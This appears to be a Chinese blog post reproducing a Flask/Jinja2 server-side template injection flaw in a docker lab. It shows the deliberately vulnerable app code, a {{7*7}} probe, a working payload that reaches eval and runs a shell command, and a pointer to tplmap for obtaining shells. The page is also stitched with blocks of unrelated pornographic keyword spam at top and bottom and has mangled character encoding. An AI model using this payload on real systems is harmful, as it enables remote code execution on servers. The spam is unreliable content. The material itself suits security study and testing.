<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      Flask-ssti漏洞復(fù)現(xiàn)

      漏洞描述:

      在jinja2模板中能夠訪問python中的內(nèi)置變量并且可以調(diào)用對應(yīng)變量類型下的方法,從而導(dǎo)致文件讀取或命令執(zhí)行

      漏洞復(fù)現(xiàn):

      通過docker啟動靶場之后進(jìn)入如下頁面:

       然后查看一下后端代碼。如下:

      from flask import Flask, request	#Flask框架核心功能
      from jinja2 import Template		#模板引擎
      
      app = Flask(__name__)		#創(chuàng)建Flask應(yīng)用實(shí)例
      
      @app.route("/")		#綁定根路徑"/"的訪問
      def index():
          # 獲取URL中?name=后的值,若無則默認(rèn)為'guest'
          name = request.args.get('name', 'guest')
      
          # 動態(tài)拼接模板內(nèi)容:例如 name='John' → 生成"Hello John"
          t = Template("Hello " + name)
          return t.render()		#渲染輸出最終HTML
      
      if __name__ == "__main__":
          app.run()		#啟動開發(fā)服務(wù)器

      ??觸發(fā)位置??:t = Template("Hello " + name) ??

      根本原因??:直接將未過濾的用戶輸入(name參數(shù))拼接進(jìn)模板字符串,導(dǎo)致攻擊者可注入Jinja2模板語法。

      操作鏈??:用戶控制輸入 → 直接拼接模板 → 編譯為AST → 執(zhí)行任意代碼

      根據(jù)代碼構(gòu)造參數(shù):http://xxx.xxx.xxx.xxx/?name={{7*7}},返回頁面如下圖:

       證實(shí)存在SSTI漏洞。要實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行,可以使用以下POC獲取eval函數(shù)并執(zhí)行任意Python代碼:

      {% for c in [].__class__.__base__.__subclasses__() %}
      {% if c.__name__ == 'catch_warnings' %}
        {% for b in c.__init__.__globals__.values() %}
        {% if b.__class__ == {}.__class__ %}
          {% if 'eval' in b.keys() %}
            {{ b['eval']('__import__("os").popen("id").read()') }}
          {% endif %}
        {% endif %}
        {% endfor %}
      {% endif %}
      {% endfor %}
      

      訪問以下URL(POC進(jìn)行URL編碼)執(zhí)行命令。結(jié)果如下圖所示:

      這里推薦自動化工具tplmap,拿shell、執(zhí)行命令、bind_shell、反彈shell、上傳下載文件。Tplmap為SSTI的利用提供了很大的便利

      github地址:https://github.com/epinna/tplmap

      posted @ 2025-05-22 12:45  ZyonSec  閱讀(83)  評論(0)    收藏  舉報(bào)
      主站蜘蛛池模板: 色老头在线一区二区三区| av无码精品一区二区乱子| 亚洲男人在线天堂| 日夜啪啪一区二区三区| 国产三级a三级三级| 亚洲一区二区精品偷拍| 国产精品任我爽爆在线播放6080 | 一区二区三区午夜无码视频| 旺苍县| 欧洲一区二区中文字幕| 国产精品不卡一区二区三区 | 麻豆一区二区三区精品视频| 亚洲欧美日韩久久一区二区| 国产视频一区二区在线看| 久久69国产精品久久69软件| 欧洲美女黑人粗性暴交视频| 日韩高清免费一码二码三码 | 欧美成人精品高清在线播放| 精品久久人人做爽综合| 顶级欧美熟妇xx| 久久精品人人槡人妻人人玩av| 亚洲精品一区二区三区小| 人妻久久久一区二区三区| 日产国产一区二区不卡| 激情综合网五月婷婷| 国产成人8X人网站视频| 久久人妻少妇嫩草av无码专区| 一区天堂中文最新版在线| 亚洲狼人久久伊人久久伊| 久久99精品久久久久久青青| 丝袜美腿视频一区二区三区| 18禁无遮挡啪啪无码网站| 大香伊蕉在人线国产免费| 亚洲中文字幕无码中字| 亚洲中文字幕精品久久| caoporn成人免费公开| 久久久久久曰本av免费免费| 久久国产精品精品国产色婷婷| 国产专区精品三级免费看| 日本熟妇浓毛| 中文字幕精品无码一区二区|